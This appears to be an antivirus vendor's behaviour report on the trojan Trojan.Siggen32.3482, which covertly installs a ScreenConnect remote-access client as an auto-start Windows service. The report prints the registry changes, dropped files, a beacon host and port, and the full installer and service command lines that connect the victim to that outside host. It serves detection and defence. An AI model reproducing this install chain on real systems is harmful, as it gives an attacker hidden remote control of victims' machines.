Trojan.Siggen32.3482

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKLM\SOFTWARE\Classes\sc-ae2fbebc72d56380\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (ae2fbebc72d56380)\ScreenConnect.WindowsClient.exe" "%1"'

Sets the following service settings

[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (ae2fbebc72d56380)] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (ae2fbebc72d56380)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (ae2fbebc72d56380)\ScreenConnect.ClientService.exe" "?e...

Creates the following services

'ScreenConnect Client (ae2fbebc72d56380)' %ProgramFiles(x86)%\ScreenConnect Client (ae2fbebc72d56380)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=manicphotography.com&p=8041&s=777a9df1-bcf4-47cd-9b91-f940045eef3f&k=BgIAAACkAA...

Modifies file system

Creates the following files

%TEMP%\setup.msi
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\<File name>.exe.log
%TEMP%\msif78c.tmp
%TEMP%\msif78c.tmp-\screenconnect.installeractions.dll
%TEMP%\msif78c.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msif78c.tmp-\screenconnect.core.dll
%TEMP%\msif78c.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~dfe48632ad289a9aea.tmp
%WINDIR%\installer\sourcehash{eb53ee49-2ff6-4203-a70c-20b67a30fcd7}
%WINDIR%\temp\~df666743aa4fed7cbf.tmp
%WINDIR%\temp\~df2c5dba9c1b0941f6.tmp
%WINDIR%\temp\~df9e115897757e635b.tmp
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\app.config
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\client.override.resources
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\client.resources
%WINDIR%\installer\{eb53ee49-2ff6-4203-a70c-20b67a30fcd7}\defaulticon
%WINDIR%\temp\~df2fa1de73b88d188e.tmp
%WINDIR%\temp\~df1cb286fc012f548e.tmp
%WINDIR%\temp\~df17ffa1f0ee9615bc.tmp
%WINDIR%\temp\~dfadf0978f178aad65.tmp
%WINDIR%\temp\~df2309cfe3d435fb3e.tmp
%WINDIR%\temp\~df0ffdba77cdf30b21.tmp
%WINDIR%\temp\~df6382e0b53b73c335.tmp
%WINDIR%\temp\~df9521f7ca6fccfaa7.tmp
%TEMP%\content\2360-5024-screenconnect.windowsclient.exe-14-08-34-815.dump

Deletes following files that it created itself

%TEMP%\msif78c.tmp-\customaction.config
%TEMP%\msif78c.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msif78c.tmp-\screenconnect.core.dll
%TEMP%\msif78c.tmp-\screenconnect.installeractions.dll
%TEMP%\msif78c.tmp

Network activity

Connects to

'ma#####otography.com':8041

TCP

Other

'ma#####otography.com':8041

UDP

DNS ASK ma#####otography.com

Miscellaneous

Creates and executes the following

'%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=manicphotography.com&p=8041&s=777a9df1-bcf4-47cd-9b91-f940045eef3f&k=BgIAAACkAABSU0ExAAgAAAEAAQARJQaezk4RwOV2NGnVourc54nJ50w31jOUo6bdgji5L2%2bopu%2bBr%2fCMtq2bMHqAikk7DOmGt...
'%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windowsclient.exe' "RunRole" "a3f38856-684f-4e33-a680-466fd6fd791d" "User"
'%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windowsclient.exe' "RunRole" "510642ac-23bb-4b4f-87bf-35c9a5f01308" "System"

Executes the following

'%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSIF78C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_1178984 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments